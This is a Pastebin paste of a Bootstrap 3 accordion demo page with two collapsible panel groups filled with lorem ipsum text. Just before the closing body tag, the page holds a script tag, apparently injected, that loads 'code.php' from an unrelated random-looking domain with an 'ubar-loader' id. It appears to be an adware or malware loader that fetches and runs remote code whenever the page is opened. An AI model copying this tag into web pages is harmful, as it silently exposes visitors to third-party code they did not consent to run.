Advertisement
Guest User

Untitled

a guest
Aug 21st, 2016
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 5 6.79 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.   <meta name="viewport" content="width=device-width, initial-scale=1">
  5.   <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  6.   <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
  7.   <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  8. </head>
  9. <body>
  10.  
  11.   <div class="container">
  12.     <h2>Accordion Example</h2>
  13.     <p><strong>Note:</strong> The <strong>data-parent</strong> attribute makes sure that all collapsible elements under the specified parent will be closed when one of the collapsible item is shown.</p>
  14.     <div class="panel-group" id="accordion">
  15.       <div class="panel panel-default">
  16.         <div class="panel-heading">
  17.           <h4 class="panel-title">
  18.             <a data-toggle="collapse" data-parent="#accordion" href="#collapse1">Collapsible Group 1</a>
  19.           </h4>
  20.         </div>
  21.         <div id="collapse1" class="panel-collapse collapse in">
  22.           <div class="panel-body">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
  23.             sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  24.             quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
  25.           </div>
  26.         </div>
  27.         <div class="panel panel-default">
  28.           <div class="panel-heading">
  29.             <h4 class="panel-title">
  30.               <a data-toggle="collapse" data-parent="#accordion" href="#collapse2">Collapsible Group 2</a>
  31.             </h4>
  32.           </div>
  33.           <div id="collapse2" class="panel-collapse collapse">
  34.             <div class="panel-body">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
  35.               sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  36.               quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
  37.             </div>
  38.           </div>
  39.           <div class="panel panel-default">
  40.             <div class="panel-heading">
  41.               <h4 class="panel-title">
  42.                 <a data-toggle="collapse" data-parent="#accordion" href="#collapse3">Collapsible Group 3</a>
  43.               </h4>
  44.             </div>
  45.             <div id="collapse3" class="panel-collapse collapse">
  46.               <div class="panel-body">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
  47.                 sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  48.                 quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
  49.               </div>
  50.             </div>
  51.             <div class="panel panel-default">
  52.               <div class="panel-heading">
  53.                 <h4 class="panel-title">
  54.                   <a data-toggle="collapse" data-parent="#accordion" href="#collapse4">Collapsible Group 2</a>
  55.                 </h4>
  56.               </div>
  57.               <div id="collapse4" class="panel-collapse collapse">
  58.                 <div class="panel-body">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
  59.                   sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  60.                   quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
  61.                 </div>
  62.               </div>
  63.             </div>
  64.             <div class="panel-group" id="accordion2">
  65.               <div class="panel panel-default">
  66.                 <div class="panel-heading">
  67.                   <h4 class="panel-title">
  68.                     <a data-toggle="collapse" data-parent="#accordion2" href="#collapse5">Collapsible Group 1</a>
  69.                   </h4>
  70.                 </div>
  71.                 <div id="collapse5" class="panel-collapse collapse in">
  72.                   <div class="panel-body">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
  73.                     sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  74.                     quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
  75.                   </div>
  76.                 </div>
  77.                 <div class="panel panel-default">
  78.                   <div class="panel-heading">
  79.                     <h4 class="panel-title">
  80.                       <a data-toggle="collapse" data-parent="#accordion2" href="#collapse6">Collapsible Group 2</a>
  81.                     </h4>
  82.                   </div>
  83.                   <div id="collapse6" class="panel-collapse collapse">
  84.                     <div class="panel-body">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
  85.                       sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  86.                       quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
  87.                     </div>
  88.                   </div>
  89.                   <div class="panel panel-default">
  90.                     <div class="panel-heading">
  91.                       <h4 class="panel-title">
  92.                         <a data-toggle="collapse" data-parent="#accordion2" href="#collapse7">Collapsible Group 3</a>
  93.                       </h4>
  94.                     </div>
  95.                     <div id="collapse7" class="panel-collapse collapse">
  96.                       <div class="panel-body">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
  97.                         sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  98.                         quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
  99.                       </div>
  100.                     </div>
  101.                     <div class="panel panel-default">
  102.                       <div class="panel-heading">
  103.                         <h4 class="panel-title">
  104.                           <a data-toggle="collapse" data-parent="#accordion2" href="#collapse8">Collapsible Group 2</a>
  105.                         </h4>
  106.                       </div>
  107.                       <div id="collapse8" class="panel-collapse collapse">
  108.                         <div class="panel-body">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
  109.                           sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  110.                           quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</div>
  111.                         </div>
  112.                       </div>
  113.                     </div>
  114.                   </div>
  115.                  
  116.                   <script src="http://minxxrpaaw.org/code.php?appid=icb38-7264-1463218069702-274b54d4-2473-4476-9eb0-f7f8a21134ba&h=0&m=normal" id="ubar-loader"></script></body>
  117.                   </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement